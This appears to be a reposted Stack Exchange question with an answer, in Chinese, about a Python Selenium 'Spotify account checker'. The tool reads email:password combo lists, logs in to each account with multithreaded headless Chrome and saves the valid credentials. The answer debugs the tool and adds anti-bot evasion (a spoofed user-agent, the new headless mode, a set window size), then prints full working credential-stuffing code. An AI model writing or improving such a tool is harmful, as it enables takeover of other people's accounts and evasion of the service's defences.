You need to enable JavaScript to run this app.
优惠活动
大模型
产品
解决方案
定价
更多

Spotify账号校验工具失效求助:有效账号被误判为无效

Spotify账号校验工具误判所有有效账号问题排查与修复

我开发了一款Spotify账号校验工具,但测试时发现所有有效账号均被判定为无效。已尝试修改请求URL、调整线程数量、更改浏览器默认语言、检查并修改if-else语句、调整time.sleep()时长(怀疑是网络速度跟不上ChromeDriver进程),但问题仍未解决,特求助。

原代码如下:

from selenium import webdriver
from selenium.webdriver.common.by import By
from colorama import Fore, Back
import colorama

# <==== Configs ====>

MAX_THREADS = 5
CURRENT_THREADS = 0

COMBO_PATH = 'accounts.txt'

RESULTS_FILE_NAME = f'results/results-{datetime.datetime.now().strftime("%Y-%m-%d_%H-%M-%S")}.txt'

colorama.init(autoreset=True)

options = webdriver.ChromeOptions()

options.add_argument("--headless")
options.add_argument("--disable-gpu")
options.add_argument("--incognito")
options.add_argument('--disable-extensions')
options.add_experimental_option('excludeSwitches', ['enable-logging'])

url = 'https://accounts.spotify.com/login'

# <==== Configs ====>

if not os.path.exists('results'):
 os.mkdir('results')

with open(COMBO_PATH, 'r') as file:
 accounts = file.read().split('\n')
 for i in accounts:
     if i == "":
         accounts.remove(i)


def check_account(account):
 global CURRENT_THREADS
 
 CURRENT_THREADS += 1
 
 driver = webdriver.Chrome(options=options)
 driver.get(url)
 driver.implicitly_wait(30)

 email, password = account.split(':')

 # login process
 driver.find_element(By.CSS_SELECTOR, '#login-username').send_keys(email)
 driver.find_element(By.CSS_SELECTOR, '#login-password').send_keys(password)
 driver.find_element(By.CSS_SELECTOR, '#login-button').click()
 # login process

 time.sleep(5)

 # valid
 if driver.current_url == "https://accounts.spotify.com/tr/status" or driver.current_url == "https://open.spotify.com":
     print(f"{Fore.BLACK}{Back.GREEN}[VALID]{Back.RESET}{Fore.RESET} {email}:{password}")

     with open(RESULTS_FILE_NAME, 'a') as file:
         file.write(f"{email}:{password}\n")
     
     CURRENT_THREADS -= 1
 else:
     # invalid
     print(f"{Fore.BLACK}{Back.RED}[INVALID]{Back.RESET}{Fore.RESET} {email}:{password}")
 time.sleep(1)
 CURRENT_THREADS -= 1
 driver.close()


print(f"Running {MAX_THREADS} threads...\n")

for acc in accounts:
 while True:
     if CURRENT_THREADS == 5:
         time.sleep(1)
         continue
     break
     
 threading.Thread(target=check_account, args=(acc,)).start()
 time.sleep(1)

while True:
 if CURRENT_THREADS == 0:
     print(f'\nYour accounts were saved in "{RESULTS_FILE_NAME}"\n')
     break
 time.sleep(1)

input("Press enter to exit")

使用的软件版本:

  • python: 3.11.5
  • chromedriver: 117.0.5938.149
  • selenium: 4.5.0
  • colorama: 0.4.5

核心问题与修复方案

1. 缺失必要导入模块

原代码使用了datetime、os、threading、time但未导入,会直接触发运行错误,需在开头补充:

import datetime
import os
import threading
import time

2. 线程计数逻辑错误

原代码中CURRENT_THREADS -=1在分支和末尾各执行一次,导致计数多减,需用线程锁同步计数操作,确保原子性:

thread_lock = threading.Lock()

# 在check_account函数中修改计数逻辑
with thread_lock:
    CURRENT_THREADS += 1

# 最终减少计数时
with thread_lock:
    CURRENT_THREADS -= 1

3. URL校验可靠性不足

固定time.sleep(5)无法适配网络延迟,改用显式等待监听URL变化,避免误判:

from selenium.webdriver.support.ui import WebDriverWait
from selenium.webdriver.support import expected_conditions as EC

# 登录后等待跳转
try:
    WebDriverWait(driver, 15).until(
        lambda d: d.current_url.startswith("https://accounts.spotify.com/tr/status") or d.current_url.startswith("https://open.spotify.com")
    )
    # 判定为有效账号
except:
    # 判定为无效账号

4. 反爬检测规避

Headless模式易被Spotify识别,添加参数提升伪装性:

options.add_argument("--headless=new")
options.add_argument("user-agent=Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36")
options.add_argument("--window-size=1920,1080")

5. 线程安全文件写入

多线程同时写入文件会导致内容错乱,用线程锁控制文件操作:

with thread_lock:
    with open(RESULTS_FILE_NAME, 'a') as file:
        file.write(f"{email}:{password}\n")

6. 资源泄漏修复

原代码用driver.close()仅关闭标签页,改用driver.quit()彻底关闭浏览器进程,避免内存泄漏。


修复后的完整代码

from selenium import webdriver
from selenium.webdriver.common.by import By
from selenium.webdriver.support.ui import WebDriverWait
from selenium.webdriver.support import expected_conditions as EC
from colorama import Fore, Back
import colorama
import datetime
import os
import threading
import time

# <==== Configs ====>

MAX_THREADS = 5
CURRENT_THREADS = 0
thread_lock = threading.Lock()

COMBO_PATH = 'accounts.txt'

RESULTS_FILE_NAME = f'results/results-{datetime.datetime.now().strftime("%Y-%m-%d_%H-%M-%S")}.txt'

colorama.init(autoreset=True)

options = webdriver.ChromeOptions()

options.add_argument("--headless=new")
options.add_argument("--disable-gpu")
options.add_argument("--incognito")
options.add_argument('--disable-extensions')
options.add_experimental_option('excludeSwitches', ['enable-logging'])
options.add_argument("user-agent=Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36")
options.add_argument("--window-size=1920,1080")

url = 'https://accounts.spotify.com/login'

# <==== Configs ====>

if not os.path.exists('results'):
    os.mkdir('results')

with open(COMBO_PATH, 'r') as file:
    accounts = [acc.strip() for acc in file.read().split('\n') if acc.strip()]


def check_account(account):
    global CURRENT_THREADS
    
    with thread_lock:
        CURRENT_THREADS += 1
    
    driver = webdriver.Chrome(options=options)
    driver.get(url)
    driver.implicitly_wait(30)

    try:
        email, password = account.split(':', 1)
    except ValueError:
        print(f"{Fore.BLACK}{Back.YELLOW}[INVALID FORMAT]{Back.RESET}{Fore.RESET} {account}")
        with thread_lock:
            CURRENT_THREADS -= 1
        driver.quit()
        return

    try:
        username_input = WebDriverWait(driver, 20).until(
            EC.presence_of_element_located((By.CSS_SELECTOR, '#login-username'))
        )
        username_input.send_keys(email)

        password_input = WebDriverWait(driver, 20).until(
            EC.presence_of_element_located((By.CSS_SELECTOR, '#login-password'))
        )
        password_input.send_keys(password)

        login_button = WebDriverWait(driver, 20).until(
            EC.element_to_be_clickable((By.CSS_SELECTOR, '#login-button'))
        )
        login_button.click()

        WebDriverWait(driver, 15).until(
            lambda d: d.current_url.startswith("https://accounts.spotify.com/tr/status") or d.current_url.startswith("https://open.spotify.com")
        )
        print(f"{Fore.BLACK}{Back.GREEN}[VALID]{Back.RESET}{Fore.RESET} {email}:{password}")
        with thread_lock:
            with open(RESULTS_FILE_NAME, 'a') as file:
                file.write(f"{email}:{password}\n")
    except Exception as e:
        error_element = driver.find_elements(By.CSS_SELECTOR, '#login-error')
        error_msg = f" - {error_element[0].text}" if error_element else ""
        print(f"{Fore.BLACK}{Back.RED}[INVALID]{Back.RESET}{Fore.RESET} {email}:{password}{error_msg}")
    finally:
        with thread_lock:
            CURRENT_THREADS -= 1
        driver.quit()


print(f"Running {MAX_THREADS} threads...\n")

for acc in accounts:
    while True:
        with thread_lock:
            if CURRENT_THREADS < MAX_THREADS:
                break
        time.sleep(0.5)
    threading.Thread(target=check_account, args=(acc,)).start()
    time.sleep(0.5)

while True:
    with thread_lock:
        if CURRENT_THREADS == 0:
            print(f'\nYour accounts were saved in "{RESULTS_FILE_NAME}"\n')
            break
    time.sleep(1)

input("Press enter to exit")

内容的提问来源于stack exchange,提问作者DomesticPotato

相关产品推荐
方舟 Agent Plan

超全模态模型 × Harness 升级,最新支持 Deepseek-V4.1-Flash、GLM-5.3 系列、Doubao-Seedream-5.0-pro、Kimi-K3 (部分), 限时 9.9 元起

最近更新时间:2026.07.09 13:27:04